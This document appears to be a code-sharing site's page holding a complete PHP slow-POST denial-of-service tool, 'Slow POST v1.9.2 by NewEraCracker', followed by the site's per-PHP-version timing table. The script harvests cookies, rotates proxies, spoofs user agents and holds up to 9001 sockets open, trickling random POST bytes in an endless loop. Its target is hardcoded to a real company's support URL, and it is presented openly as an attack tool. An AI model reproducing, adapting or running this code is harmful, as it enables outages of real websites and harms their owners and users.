@ 2013-05-13T06:13:49Z <?php
set_time_limit(0);
ignore_user_abort(true);
$_SERVER['argv'][1] = 'http://support.ioncube.com/winapp/';
//-------------------------
// CONFiG
//-------------------------
$CONFIG['max_cookies'] = 20;
$CONFIG['max_sockets'] = 9001;
$CONFIG['timeout_ms'] = 500;
$CONFIG['usleep_time'] = 0;
//-------------------------
// INiT
//-------------------------
// Define EXPLOIT_VERSION
if(!defined('EXPLOIT_VERSION'))
define('EXPLOIT_VERSION', 'v1.9.2');
// Define STDIN
if(!defined('STDIN'))
define('STDIN', fopen('php://stdin', 'r'));
// Globals - DO NOT EDIT
$global_proxy_array = array();
//-------------------------
// FUNCTiONS FOR THE LULZ
//-------------------------
/** Read STDIN and return it */
function readSTDIN() {
$file = STDIN;
if(!$file) return false;
return trim(fgets($file));
}
/** Receive a filename that has proxies listed in it and fills the $global_proxy_array */
function proxyLoadFile($filename) {
global $global_proxy_array;
// Load proxy list file
$filename = str_replace('\\', '/', $filename);
$content = @file_get_contents($filename);
if(!$filename || !$content) {
echo $filename.' is not a valid proxy-list file!';
exit(1);
}
$content = str_replace(array("\r\n", "\r"), "\n", $content);
$content = explode("\n", $content);
// Grab the proxies
foreach($content as $value) {
$tmp = explode(':', $value);
if(isset($tmp[0], $tmp[1])) {
$tmp[0] = trim($tmp[0]);
$tmp[1] = (int)(trim($tmp[1]));
// The proxy
$global_proxy_array[] = array('host' => $tmp[0], 'port' => $tmp[1]);
}
}
}
/** Returns a random a proxy */
function proxyGetRandom() {
global $global_proxy_array;
// Give a random proxy
if(count($global_proxy_array)) {
$proxy = null;
while(!$proxy) {
$rand = mt_rand(0, count($global_proxy_array) - 1);
$proxy = (isset($global_proxy_array[$rand]) ? $global_proxy_array[$rand] : null);
}
return $proxy;
}
return false;
}
/** Returns a random useragent */
function randomUserAgent() {
// Microsoft Windows versions
$os = array('5.0', '5.1', '5.2', '6.0', '6.1', '6.2');
// Select a random version
$os = $os[mt_rand(0, count($os) - 1)];
// Select a random browser
if(mt_rand(0, 1)) {
// Internet Explorer versions
$ua[0] = array('4.0', '7.0', '4.0');
$ua[1] = array('4.0', '8.0', '4.0');
$ua[2] = array('5.0', '9.0', '5.0');
$ua[3] = array('5.0', '10.0', '6.0');
// Random IE
$ua = $ua[mt_rand(0, count($ua) - 1)];
return "Mozilla/{$ua[0]} (compatible; MSIE {$ua[1]}; Windows NT {$os}; Trident/{$ua[2]})";
} else {
// Mozilla Firefox versions
$ua = array('17.0', '18.0', '19.0', '20.0', '21.0');
// Random FF
$ua = $ua[mt_rand(0, count($ua) - 1)];
return "Mozilla/5.0 (Windows NT {$os}; rv:{$ua}) Gecko/20100101 Firefox/{$ua}";
}
}
/** Opens a custom socket and returns it */
function openCustomSocket($newEraUrl, $newEraProxy = null) {
global $CONFIG;
@ini_set('default_socket_timeout', 1);
$newEraConnection = (($newEraProxy == null) ? $newEraUrl : $newEraProxy);
$host = (($newEraConnection->ssl) ? 'ssl://' : 'tcp://').$newEraConnection->name;
$fp = @fsockopen($host, $newEraConnection->port);
if(!$fp)
return false;
stream_set_blocking($fp, 0);
stream_set_timeout($fp, 0, $CONFIG['timeout_ms']);
return $fp;
}
/**
* Receives a socket and performs the start of a slowPosting
* Returns Content-Length on success and false on failure
*/
function slowPostStart($sock, $newEraUrl, $newEraProxy, $cookie) {
// Check the socket
if(!$sock)
return false;
// Generate a random Content-Length
$length = mt_rand(1337, 133700);
// Build
$header = 'POST '.($newEraProxy ? $newEraUrl->full_url : $newEraUrl->path).' HTTP/1.1'."\r\n";
$header .= 'Host: '.$newEraUrl->name."\r\n";
$header .= 'Connection: Keep-Alive'."\r\n";
$header .= 'Accept: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'."\r\n";
$header .= 'User-Agent: '.randomUserAgent()."\r\n";
$header .= 'Accept-Language: en-US;q=0.8,en;q=0.6'."\r\n";
$header .= 'Accept-Encoding: gzip,deflate'."\r\n";
$header .= 'Keep-Alive: '.mt_rand(60, 120)."\r\n";
$header .= 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8'."\r\n";
$header .= mt_rand(0, 1) ? 'Referer: '.$newEraUrl->full_url."\r\n" : '';
$header .= ($cookie ? "Cookie: {$cookie}\r\n" : '');
$header .= 'Content-Length: '.$length."\r\n";
$header .= "\r\n";
// Do it
@fwrite($sock, $header);
return $length;
}
/** Receives a socket and continues the slowPosting */
function slowPostContinue($sock, $bytes = 5) {
global $CONFIG;
// Check the socket
if(!$sock)
return false;
// Check the $bytes
if(intval($bytes) != $bytes)
$bytes = 5;
// Throttle execution speed slightly
if($CONFIG['usleep_time'] > 0)
@usleep($CONFIG['usleep_time']);
// Do it :D
$tmp = '';
for($j = 0; $j < $bytes; $j++)
$tmp .= chr(mt_rand(33, 126));
@fwrite($sock, urlencode($tmp));
return true;
}
//-------------------------
// CLASSES FOR THE LULZ
//-------------------------
/** I want cookies! Give me cookies! */
class NewEraCookies {
private $max_cookies;
private $cookies = array();
/** Constructor */
public function __construct($newEraUrl, $newEraProxy, $max_cookies, $proxyFile = null, $output = false) {
$this->update_object($newEraUrl, $newEraProxy, $max_cookies, $proxyFile, $output);
}
/** Object updater */
public function update_object($newEraUrl, $newEraProxy, $max_cookies, $proxyFile = null, $output = false) {
$this->max_cookies = $max_cookies;
$this->cookies = array();
if($output)
echo PHP_EOL.'BUILDING COOKIES ';
for($i = 0; $i < $this->max_cookies; $i++) {
// Using Proxy file?
if($proxyFile) {
$newproxy = proxyGetRandom();
if(!$newproxy)
exit($proxyFile.' is not a valid proxy-list file!');
$newEraProxy->update_object('tcp://'.$newproxy['host'].':'.$newproxy['port']);
}
$this->cookies[$i] = self::cookieGrab($newEraUrl, $newEraProxy);
if($output)
echo '.';
}
}
/** Returns a cookie by its index */
public function returnCookieByIndex($idx) {
if($idx == 'random')
$idx = mt_rand(0, $this->max_cookies - 1);
if(isset($this->cookies[$idx]))
return $this->cookies[$idx];
return '';
}
/** Function to parse set-cookie from header fields */
public static function cookieParse($header) {
$cookies = array();
foreach($header as $line) {
if(preg_match('/^Set-Cookie: /i', $line)) {
$line = preg_replace('/^Set-Cookie: /i', '', trim($line));
$csplit = explode(';', $line);
$cdata = array();
$grabbed_cookie_data = false;
foreach($csplit as $data) {
$cinfo = explode('=', $data);
$cinfo[0] = trim($cinfo[0]);
if(!$grabbed_cookie_data) {
$cdata['value']['key'] = $cinfo[0];
$cdata['value']['value'] = $cinfo[1];
$grabbed_cookie_data = true;
continue;
}
$cinfo[0] = strtolower($cinfo[0]);
if($cinfo[0] == 'expires') $cinfo[1] = @strtotime($cinfo[1]);
if($cinfo[0] == 'secure') $cinfo[1] = 'true';
if(in_array($cinfo[0], array('domain', 'expires', 'path', 'secure', 'comment'))) {
$cdata[$cinfo[0]] = $cinfo[1];
}
}
$cookies[] = $cdata;
}
}
return $cookies;
}
/** Function to build the request cookie header from parsed set-cookie data */
public static function cookieBuild($data) {
if(is_array($data)) {
$cookie = array();
foreach($data as $d)
$cookie[] = $d['value']['key'].'='.$d['value']['value'];
if(count($cookie) > 0)
return trim(implode('; ', $cookie));
}
return false;
}
/** Function to grab cookies from an url using PHP's fopen */
public static function cookieGrab($newEraUrl, $newEraProxy = null) {
// Build connection header
$header = 'Host: '.$newEraUrl->name."\r\n";
$header .= 'Connection: Keep-Alive'."\r\n";
$header .= 'Accept: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'."\r\n";
$header .= 'User-Agent: '.randomUserAgent()."\r\n";
$header .= 'Accept-Language: en-US;q=0.8,en;q=0.6'."\r\n";
$header .= 'Accept-Encoding: gzip,deflate'."\r\n";
$header .= 'Keep-Alive: '.mt_rand(60, 120)."\r\n";
// Check proxy url
if($newEraProxy) {
// Enable proxy
$proxy_url = $newEraProxy->full_url;
$request_fulluri = true;
} else {
// Disable proxy
$proxy_url = '';
$request_fulluri = false;
}
// Build stream context
$context = stream_context_create(array(
'http' => array(
'method' => 'GET',
'timeout' => (3),
'header' => $header,
'proxy' => $proxy_url,
'request_fulluri' => $request_fulluri,
'max_redirects' => (0),
'protocol_version' => (1.1),
'ignore_errors' => true
),
'ssl' => array(
'verify_peer' => false
)
));
// Let the fun begin
$cookie = '';
$handle = @fopen($newEraUrl->full_url, 'r', false, $context);
// I hope this does work
if($handle) {
// If it worked, we grab the cookies
$metadata = stream_get_meta_data($handle);
$cookie = self::cookieBuild(self::cookieParse($metadata['wrapper_data']));
// Fun is only at a small distance
@fclose($handle);
}
return $cookie;
}
}
/** Class to construct and handle an url-like object */
class NewEraUrl {
private $host_full_url;
private $host_protocol;
private $host_ssl;
private $host_name;
private $host_port;
private $host_path;
/** Constructor */
public function __construct($host_full_url) {
$this->update_object($host_full_url);
}
/** Object updater */
public function update_object($host_full_url) {
$this->host_full_url = $host_full_url;
$this->host_ssl = ((strpos($this->host_full_url, 'https') === 0) ? true : false);
$this->host_protocol = ($this->host_ssl ? 'https' : 'http');
// Grab other parameters
$host_full_url = explode('/', $host_full_url, 4);
$host_full_url[2] = explode(':', $host_full_url[2], 2);
// Host, Port, Path
$this->host_name = $host_full_url[2][0];
$this->host_port = (isset($host_full_url[2][1]) ? $host_full_url[2][1] : ($this->host_ssl ? 443 : 80));
$this->host_path = '/'.(isset($host_full_url[3]) ? $host_full_url[3] : '');
}
/** Getter for the private properties */
public function __get($var) {
$var = 'host_'.$var;
if(property_exists($this, $var))
return $this->{$var};
}
/** Quick check to see if url is minimally valid */
public static function isValid($host_full_url) {
if(strpos($host_full_url, 'https://') === 0 || strpos($host_full_url, 'http://') === 0)
return true;
}
}
/** Class to construct and handle a proxy-like object */
class NewEraProxy {
private $proxy_full_url;
private $proxy_protocol;
private $proxy_ssl;
private $proxy_name;
private $proxy_port;
/** Constructor */
public function __construct($proxy_full_url) {
$this->update_object($proxy_full_url);
}
/** Object updater */
public function update_object($proxy_full_url) {
$this->proxy_full_url = $proxy_full_url;
$this->proxy_ssl = ((strpos($this->proxy_full_url, 'ssl') === 0) ? true : false);
$this->proxy_protocol = ($this->proxy_ssl ? 'ssl' : 'tcp');
// Grab other parameters
if(false !== ($tmp = strpos($proxy_full_url, '://')))
$proxy_full_url = substr($proxy_full_url, $tmp + 3);
$proxy_full_url = explode(':', $proxy_full_url);
// Host, Port, Path
$this->proxy_name = $proxy_full_url[0];
$this->proxy_port = (int)(isset($proxy_full_url[1]) ? $proxy_full_url[1] : ($this->proxy_ssl ? '443' : '80'));
}
/** Getter for the private properties */
public function __get($var) {
$var = 'proxy_'.$var;
if(property_exists($this, $var))
return $this->{$var};
}
}
//-------------------------
// MAiN CODE FOR THE LULZ
//-------------------------
echo "
_______. __ ______ ____ __ ____
/ || | / __ \ \ \ / \ / /
| (----`| | | | | | \ \/ \/ /
\ \ | | | | | | \ /
.----) | | `----.| `--' | \ /\ /
|_______/ |_______| \______/ \__/ \__/
.______ ______ _______.___________.
| _ \ / __ \ / | |
| |_) | | | | | | (----`---| |----`
| ___/ | | | | \ \ | |
| | | `--' | .----) | | |
| _| \______/ |_______/ |__|
";
echo PHP_EOL.EXPLOIT_VERSION.' by NewEraCracker'.PHP_EOL;
// Fetch the URL to attack
$url = null;
if(isset($_SERVER['argv'][1]) && NewEraUrl::isValid($_SERVER['argv'][1]))
$url = $_SERVER['argv'][1];
// Fetch proxy to use
$proxy['host'] = null;
$proxy['port'] = null;
$proxy['file'] = false;
if(!empty($url) && isset($_SERVER['argv'][2])) {
if($proxy = explode(':', $_SERVER['argv'][2])) {
if(isset($proxy[0], $proxy[1])) {
$proxy['file'] = false;
$proxy['host'] = $proxy[0];
$proxy['port'] = (int)($proxy[1]);
unset($proxy[0], $proxy[1]);
}
}
if(!(isset($proxy['host'], $proxy['port'])) && is_readable($_SERVER['argv'][2])) {
$proxy['file'] = true;
$proxy['filename'] = $_SERVER['argv'][2];
}
}
// Ask for proxy
if(empty($url) && (empty($proxy['host']) || empty($proxy['port'])) && !$proxy['file']) {
$proxy['use'] = null;
while(!$proxy['use']) {
echo PHP_EOL.'Do you want to use a proxy [yes/no/file]: ';
$proxy['use'] = readSTDIN();
if(strpos(strtolower($proxy['use']), 'n') === 0) {
break;
} elseif(strpos(strtolower($proxy['use']), 'y') === 0) {
echo PHP_EOL.'Proxy IP: ';
$proxy['host'] = readSTDIN();
echo PHP_EOL.'Proxy Port: ';
$proxy['port'] = (int)(readSTDIN());
} elseif(strpos(strtolower($proxy['use']), 'f') === 0) {
echo PHP_EOL.'Proxy file: ';
$proxy['filename'] = readSTDIN();
if(is_readable($proxy['filename'])) {
$proxy['file'] = true;
} else {
echo PHP_EOL.'Invalid file!'.PHP_EOL;
$proxy['use'] = null;
}
} else {
$proxy['use'] = null;
echo PHP_EOL.'Invalid choice!'.PHP_EOL;
}
}
unset($proxy['use']);
}
// Ask for target URL
while(!$url) {
echo PHP_EOL.'Target url: ';
$url = readSTDIN();
if(NewEraUrl::isValid($url)) break;
$url = null;
echo PHP_EOL.'Invalid target!'.PHP_EOL;
}
// Init proxy suport
if(empty($proxy['host']) || empty($proxy['port'])) {
$newEraProxy = null;
if(!empty($proxy['file'])) {
proxyLoadFile($proxy['filename']);
$newproxy = proxyGetRandom();
if(!$newproxy)
exit($proxy['filename'].' is not a valid proxy-list file!');
$newEraProxy = new NewEraProxy('tcp://'.$newproxy['host'].':'.$newproxy['port']);
}
} else {
$newEraProxy = new NewEraProxy('tcp://'.$proxy['host'].':'.$proxy['port']);
}
// Init the others
$newEraUrl = new NewEraUrl($url);
$newEraCookies = new NewEraCookies($newEraUrl, $newEraProxy, $CONFIG['max_cookies'], $proxy['file'], true);
// Start
echo PHP_EOL.'IMMA FIRIN MAH LAZOR ';
$fp = array();
// Do it
while(1) {
for($i = 0; $i < $CONFIG['max_sockets']; $i++) {
// Using Proxy file?
if($proxy['file']) {
$newproxy = proxyGetRandom();
if(!$newproxy)
exit($proxy['filename'].' is not a valid proxy-list file!');
$newEraProxy->update_object('tcp://'.$newproxy['host'].':'.$newproxy['port']);
}
// Open a new socket
$tmp = array();
if($tmp['sock'] = openCustomSocket($newEraUrl, $newEraProxy)) {
// Progress bar
echo '.';
// Start a new slowPost and find its length
if($tmp['length'] = slowPostStart($tmp['sock'], $newEraUrl, $newEraProxy, $newEraCookies->returnCookieByIndex('random'))) {
if(isset($fp[$i], $fp[$i]['sock'])) {
// Close connection in the global socket array if it is being used
@fclose($fp[$i]['sock']);
unset($fp[$i]);
}
// Save the new socket in the global socket array
$fp[$i] = $tmp;
} else {
// Epic fail?
@fclose($tmp['sock']);
}
}
unset($tmp);
// Check the current sockets
foreach($fp as $k => $v) {
if($fp[$k]['length'] > 0) {
// Contine old slowPosts
$tmp = ($fp[$k]['length'] < 5) ? $fp[$k]['length'] : 5;
slowPostContinue($fp[$k]['sock'], $tmp);
$fp[$k]['length'] -= $tmp;
} else {
// Close completed slowPosts
@fclose($fp[$k]['sock']);
unset($fp[$k]);
}
}
}
}
?>
Enable javascript to submit You have javascript disabled. You will not be able to edit any code.
Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).
Version System time (s) User time (s) Memory (MiB) 8.2.11 1.059 0.943 21.70 8.2.10 1.056 0.946 19.68 8.2.9 0.833 1.169 18.86 8.2.8 0.906 1.096 19.31 8.2.7 0.887 1.113 18.60 8.2.6 0.873 1.129 18.84 8.2.5 0.871 1.133 18.93 8.2.4 0.896 1.106 19.44 8.2.3 0.832 1.168 18.81 8.2.2 0.917 1.088 18.72 8.2.1 0.856 1.145 18.92 8.2.0 0.911 1.090 18.94 8.1.24 1.135 0.868 19.85 8.1.23 1.121 0.881 18.54 8.1.22 0.916 1.086 18.64 8.1.21 0.866 1.136 19.54 8.1.20 0.892 1.109 18.37 8.1.19 0.901 1.102 18.24 8.1.18 0.927 1.077 18.45 8.1.17 0.849 1.153 18.31 8.1.16 0.886 1.115 19.34 8.1.15 0.893 1.109 20.07 8.1.14 0.918 1.085 18.48 8.1.13 0.881 1.121 18.46 8.1.12 0.831 1.171 18.50 8.1.11 0.827 1.177 18.38 8.1.10 0.861 1.145 18.45 8.1.9 0.919 1.082 18.40 8.1.8 0.914 1.087 18.39 8.1.7 0.871 1.131 18.60 8.1.6 0.858 1.144 18.57 8.1.5 0.878 1.125 18.45 8.1.4 0.839 1.161 18.68 8.1.3 0.805 1.199 18.71 8.1.2 0.833 1.169 18.57 8.1.1 0.858 1.144 18.55 8.1.0 0.848 1.154 18.54 8.0.30 0.879 1.125 18.46 8.0.29 0.880 1.122 17.59 8.0.28 0.904 1.096 18.63 8.0.27 0.899 1.102 18.00 8.0.26 0.903 1.100 17.73 8.0.25 0.914 1.087 17.87 8.0.24 0.885 1.118 17.85 8.0.23 0.826 1.176 18.10 8.0.22 0.856 1.146 17.86 8.0.21 0.829 1.173 17.85 8.0.20 0.906 1.096 17.81 8.0.19 0.863 1.140 17.78 8.0.18 0.857 1.144 17.72 8.0.17 0.892 1.109 17.91 8.0.16 0.834 1.167 17.78 8.0.15 0.838 1.164 17.82 8.0.14 0.817 1.183 17.70 8.0.13 0.868 1.135 16.05 8.0.12 1.315 0.654 17.81 8.0.11 1.287 0.682 17.90 8.0.10 1.323 0.656 17.71 8.0.9 1.296 0.675 17.80 8.0.8 1.261 0.709 17.75 8.0.7 1.322 0.649 17.74 8.0.6 1.313 0.659 17.80 8.0.5 1.280 0.689 17.86 8.0.3 1.289 0.683 17.84 8.0.2 1.342 0.626 17.88 8.0.1 1.287 0.682 17.84 8.0.0 1.237 0.611 18.30 7.4.33 0.840 1.163 13.79 7.4.32 0.893 1.110 17.35 7.4.30 0.820 1.183 17.29 7.4.29 0.858 1.146 17.37 7.4.28 0.824 1.178 17.37 7.4.27 0.886 1.116 17.36 7.4.26 0.861 1.141 15.89 7.4.25 1.295 0.678 17.26 7.4.24 1.319 0.659 17.43 7.4.23 1.297 0.672 17.19 7.4.22 1.178 0.789 17.28 7.4.21 1.221 0.750 17.30 7.4.20 1.339 0.642 17.26 7.4.19 1.291 0.685 17.41 7.4.18 1.106 0.896 17.93 7.4.16 1.289 0.695 17.44 7.4.15 1.306 0.671 17.35 7.4.14 1.278 0.687 17.80 7.4.13 1.279 0.701 17.43 7.4.12 1.282 0.704 17.36 7.4.11 1.226 0.745 17.27 7.4.10 1.356 0.666 17.42 7.4.9 1.291 0.691 17.28 7.4.8 1.235 0.716 18.52 7.4.7 1.238 0.762 17.29 7.4.6 1.241 0.755 17.32 7.4.5 1.334 0.629 17.25 7.4.4 1.313 0.714 17.32 7.4.3 1.298 0.705 17.26 7.4.2 1.092 0.915 17.61 7.4.1 1.059 0.949 17.62 7.4.0 1.241 0.754 16.45 7.3.33 0.823 1.179 15.72 7.3.32 0.852 1.149 15.80 7.3.31 1.329 0.659 17.19 7.3.30 1.314 0.657 17.33 7.3.29 1.297 0.654 17.06 7.3.28 1.186 0.785 17.19 7.3.27 1.299 0.676 17.13 7.3.26 1.328 0.649 17.15 7.3.25 1.055 0.945 17.69 7.3.24 1.261 0.722 17.24 7.3.23 1.263 0.724 17.24 7.3.22 1.106 0.890 17.44 7.3.21 1.340 0.698 17.15 7.3.20 1.255 0.755 17.08 7.3.19 1.269 0.719 17.26 7.3.18 1.171 0.765 17.24 7.3.17 1.243 0.739 17.17 7.3.16 1.269 0.729 17.25 7.3.15 1.115 0.886 17.43 7.3.14 1.162 0.833 17.62 7.3.13 1.032 0.969 17.48 7.3.12 1.330 0.662 16.47 7.3.11 1.124 0.880 17.30 7.3.10 1.100 0.897 17.67 7.3.9 1.134 0.871 17.70 7.3.8 1.086 0.917 17.74 7.3.7 1.066 0.936 17.56 7.3.6 1.139 0.857 17.78 7.3.5 1.136 0.866 17.45 7.3.4 1.076 0.926 17.64 7.3.3 1.104 0.900 17.61 7.3.2 1.072 0.935 17.50 7.3.1 1.139 0.856 17.71 7.3.0 1.059 0.942 17.65 7.2.34 1.126 0.876 17.86 7.2.33 1.306 0.730 17.51 7.2.32 1.263 0.702 17.47 7.2.31 1.247 0.768 17.46 7.2.30 1.295 0.713 17.50 7.2.29 1.245 0.727 17.57 7.2.28 1.087 0.911 17.61 7.2.27 1.101 0.898 17.37 7.2.26 1.022 0.979 17.81 7.2.25 1.043 0.966 17.50 7.2.24 1.051 0.955 17.87 7.2.23 0.998 1.008 17.87 7.2.22 1.054 0.951 17.61 7.2.21 1.067 0.937 17.59 7.2.20 1.095 0.912 17.79 7.2.19 1.034 0.965 17.93 7.2.18 1.098 0.908 17.70 7.2.17 1.127 0.871 18.06 7.2.16 1.086 0.916 18.00 7.2.15 1.001 0.998 18.07 7.2.14 1.083 0.926 17.67 7.2.13 1.061 0.944 18.01 7.2.12 1.056 0.946 18.01 7.2.11 1.046 0.956 18.16 7.2.10 1.043 0.954 18.13 7.2.9 1.121 0.884 17.79 7.2.8 1.075 0.919 17.90 7.2.7 1.129 0.873 18.04 7.2.6 1.079 0.922 18.16 7.2.5 1.088 0.918 17.90 7.2.4 1.111 0.894 18.16 7.2.3 1.080 0.917 17.97 7.2.2 1.050 0.953 18.00 7.2.1 1.145 0.861 18.12 7.2.0 1.544 0.683 18.95 7.1.33 1.016 0.986 16.89 7.1.32 1.067 0.931 16.60 7.1.31 1.073 0.930 16.93 7.1.30 1.095 0.906 16.91 7.1.29 1.130 0.873 16.85 7.1.28 1.049 0.958 16.73 7.1.27 1.123 0.874 16.94 7.1.26 1.063 0.933 16.83 7.1.25 1.044 0.948 16.77 7.1.24 1.056 0.940 16.75 7.1.23 1.087 0.917 16.78 7.1.22 1.078 0.922 16.82 7.1.21 1.098 0.902 17.00 7.1.20 1.026 0.970 16.91 7.1.19 1.076 0.926 16.87 7.1.18 1.089 0.907 16.97 7.1.17 1.036 0.973 17.78 7.1.16 1.106 0.890 16.57 7.1.15 1.044 0.955 16.66 7.1.14 1.097 0.913 16.51 7.1.13 1.044 0.961 17.01 7.1.12 1.111 0.888 16.93 7.1.11 1.064 0.940 16.83 7.1.10 1.545 0.649 17.54 7.1.9 1.025 0.975 16.76 7.1.8 1.060 0.937 16.88 7.1.7 0.516 0.492 16.96 7.1.6 0.547 0.472 18.11 7.1.5 0.545 0.466 17.13 7.1.4 1.103 0.900 16.85 7.1.3 1.040 0.957 16.58 7.1.2 1.018 0.988 16.66 7.1.1 1.062 0.945 16.87 7.1.0 1.059 0.943 16.71 7.0.33 1.028 0.978 16.35 7.0.32 1.054 0.951 16.41 7.0.31 1.104 0.895 16.68 7.0.30 1.008 0.991 16.62 7.0.29 1.030 0.973 16.68 7.0.28 0.990 1.013 16.57 7.0.27 1.076 0.926 16.43 7.0.26 1.005 1.002 16.67 7.0.25 1.121 0.884 16.68 7.0.24 1.076 0.926 16.61 7.0.23 1.042 0.953 16.69 7.0.22 0.995 1.005 16.57 7.0.21 1.081 0.918 16.57 7.0.20 0.538 0.472 16.83 7.0.19 1.072 0.929 16.65 7.0.18 1.062 0.939 16.26 7.0.17 1.018 0.988 16.45 7.0.16 1.062 0.939 16.50 7.0.15 1.073 0.930 16.51 7.0.14 0.986 1.009 16.53 7.0.13 1.016 0.986 16.37 7.0.12 1.095 0.899 16.82 7.0.11 1.037 0.960 16.41 7.0.10 1.082 0.919 16.38 7.0.9 1.102 0.899 16.38 7.0.8 1.020 0.976 16.48 7.0.7 1.078 0.921 16.30 7.0.6 1.010 0.993 16.63 7.0.5 1.040 0.963 16.49 7.0.4 1.048 0.965 16.66 7.0.3 0.985 1.014 16.65 7.0.2 1.121 0.884 16.54 7.0.1 1.078 0.928 16.72 7.0.0 1.078 0.927 16.39 5.6.40 0.869 1.132 17.37 5.6.39 0.886 1.123 17.44 5.6.38 0.876 1.125 17.49 5.6.37 0.901 1.104 17.39 5.6.36 0.847 1.157 17.44 5.6.35 0.812 1.196 17.43 5.6.34 0.876 1.126 17.59 5.6.33 0.850 1.154 17.57 5.6.32 0.860 1.143 17.65 5.6.31 0.875 1.125 17.32 5.6.30 0.817 1.187 17.07 5.6.29 0.836 1.166 17.58 5.6.28 0.804 1.201 17.35 5.6.27 0.851 1.154 17.48 5.6.26 0.817 1.187 17.38 5.6.25 0.865 1.135 17.38 5.6.24 0.816 1.185 17.51 5.6.23 0.887 1.117 17.54 5.6.22 0.926 1.075 17.36 5.6.21 0.877 1.127 17.51 5.6.20 0.790 1.214 17.55 5.6.19 0.895 1.104 17.49 5.6.18 0.805 1.194 17.44 5.6.17 0.854 1.150 17.41 5.6.16 0.843 1.159 17.56 5.6.15 0.838 1.161 17.48 5.6.14 0.849 1.152 17.65 5.6.13 0.862 1.139 17.65 5.6.12 0.884 1.121 17.46 5.6.11 0.887 1.117 17.30 5.6.10 0.822 1.179 17.25 5.6.9 0.833 1.169 17.11 5.6.8 0.816 1.186 17.30 5.6.7 0.813 1.190 17.36 5.6.6 0.783 1.220 17.21 5.6.5 0.895 1.112 17.47 5.6.4 0.889 1.112 17.20 5.6.3 0.813 1.189 17.25 5.6.2 0.853 1.149 17.42 5.6.1 0.830 1.173 17.24 5.6.0 0.873 1.130 17.29 5.5.38 0.866 1.136 17.15 5.5.37 0.818 1.188 17.25 5.5.36 0.844 1.153 17.13 5.5.35 0.930 1.074 17.23 5.5.34 0.897 1.108 17.26 5.5.33 0.894 1.103 17.36 5.5.32 0.867 1.137 17.37 5.5.31 0.851 1.147 17.38 5.5.30 0.811 1.186 17.40 5.5.29 0.883 1.119 17.38 5.5.28 0.825 1.175 17.18 5.5.27 0.836 1.165 17.09 5.5.26 0.871 1.134 17.26 5.5.25 0.819 1.182 17.33 5.5.24 0.929 1.072 17.32 5.5.23 0.832 1.168 17.25 5.5.22 0.793 1.210 17.04 5.5.21 0.909 1.092 17.09 5.5.20 0.845 1.154 17.35 5.5.19 0.804 1.202 17.29 5.5.18 0.903 1.100 17.12 5.5.17 0.812 1.189 17.43 5.5.16 0.879 1.122 17.44 5.5.15 0.826 1.175 17.32 5.5.14 0.833 1.169 17.15 5.5.13 0.904 1.100 17.07 5.5.12 0.824 1.181 17.30 5.5.11 0.866 1.135 17.05 5.5.10 0.812 1.188 17.33 5.5.9 0.844 1.160 17.18 5.5.8 0.869 1.132 17.30 5.5.7 0.896 1.106 17.28 5.5.6 0.922 1.078 17.36 5.5.5 0.828 1.170 17.16 5.5.4 0.849 1.152 17.23 5.5.3 0.867 1.137 17.36 5.5.2 0.842 1.158 17.37 5.5.1 0.884 1.121 17.09 5.5.0 0.812 1.196 17.09 5.4.45 0.879 1.122 14.20 5.4.44 0.818 1.181 14.20 5.4.43 0.870 1.133 14.20 5.4.42 0.884 1.120 14.20 5.4.41 0.916 1.086 14.20 5.4.40 0.811 1.195 14.20 5.4.39 0.823 1.179 14.20 5.4.38 0.862 1.138 14.20 5.4.37 0.842 1.166 14.20 5.4.36 0.817 1.188 14.20 5.4.35 0.863 1.139 14.20 5.4.34 0.803 1.199 14.20 5.4.33 0.870 1.133 14.20 5.4.32 0.823 1.179 14.20 5.4.31 0.810 1.193 14.20 5.4.30 0.863 1.140 14.20 5.4.29 0.875 1.125 14.20 5.4.28 0.843 1.159 14.20 5.4.27 0.783 1.219 14.20 5.4.26 0.776 1.226 14.20 5.4.25 0.779 1.222 14.20 5.4.24 0.800 1.203 14.20 5.4.23 0.781 1.225 14.20 5.4.22 0.903 1.099 14.20 5.4.21 0.843 1.159 14.20 5.4.20 0.901 1.104 14.20 5.4.19 0.900 1.104 14.20 5.4.18 0.846 1.156 14.20 5.4.17 0.846 1.156 14.20 5.4.16 0.840 1.163 14.20 5.4.15 0.833 1.169 14.20 5.4.14 0.820 1.183 14.20 5.4.13 0.830 1.173 14.20 5.4.12 0.797 1.207 14.20 5.4.11 0.816 1.186 14.20 5.4.10 0.859 1.142 14.20 5.4.9 0.786 1.216 14.20 5.4.8 0.863 1.139 14.20 5.4.7 0.823 1.180 14.20 5.4.6 0.913 1.090 14.20 5.4.5 0.843 1.159 14.20 5.4.4 0.813 1.190 14.20 5.4.3 0.881 1.125 14.20 5.4.2 0.882 1.119 14.20 5.4.1 0.880 1.123 14.20 5.4.0 0.823 1.180 14.20 5.3.29 0.763 1.240 14.20 5.3.28 0.753 1.249 14.20 5.3.27 0.812 1.189 14.20 5.3.26 0.766 1.236 14.20 5.3.25 0.810 1.193 14.20 5.3.24 0.821 1.185 14.20 5.3.23 0.769 1.232 14.20 5.3.22 0.793 1.210 14.20 5.3.21 0.716 1.286 14.20 5.3.20 0.853 1.149 14.20 5.3.19 0.843 1.159 14.20 5.3.18 0.750 1.253 14.20 5.3.17 0.746 1.256 14.20 5.3.16 0.696 1.306 14.20 5.3.15 0.783 1.219 14.20 5.3.14 0.743 1.259 14.20 5.3.13 0.803 1.199 14.20 5.3.12 0.816 1.186 14.20 5.3.11 0.786 1.216 14.20 5.3.10 0.750 1.253 14.20 5.3.9 0.830 1.174 14.20 5.3.8 0.803 1.199 14.20 5.3.7 0.833 1.169 14.20 5.3.6 0.770 1.233 14.20 5.3.5 0.816 1.186 14.20 5.3.4 0.786 1.216 14.20 5.3.3 0.833 1.169 14.20 5.3.2 0.773 1.230 14.20 5.3.1 0.776 1.226 14.20 5.3.0 0.820 1.183 14.20
preferences:dark mode live preview
54.11 ms | 401 KiB | 5 Q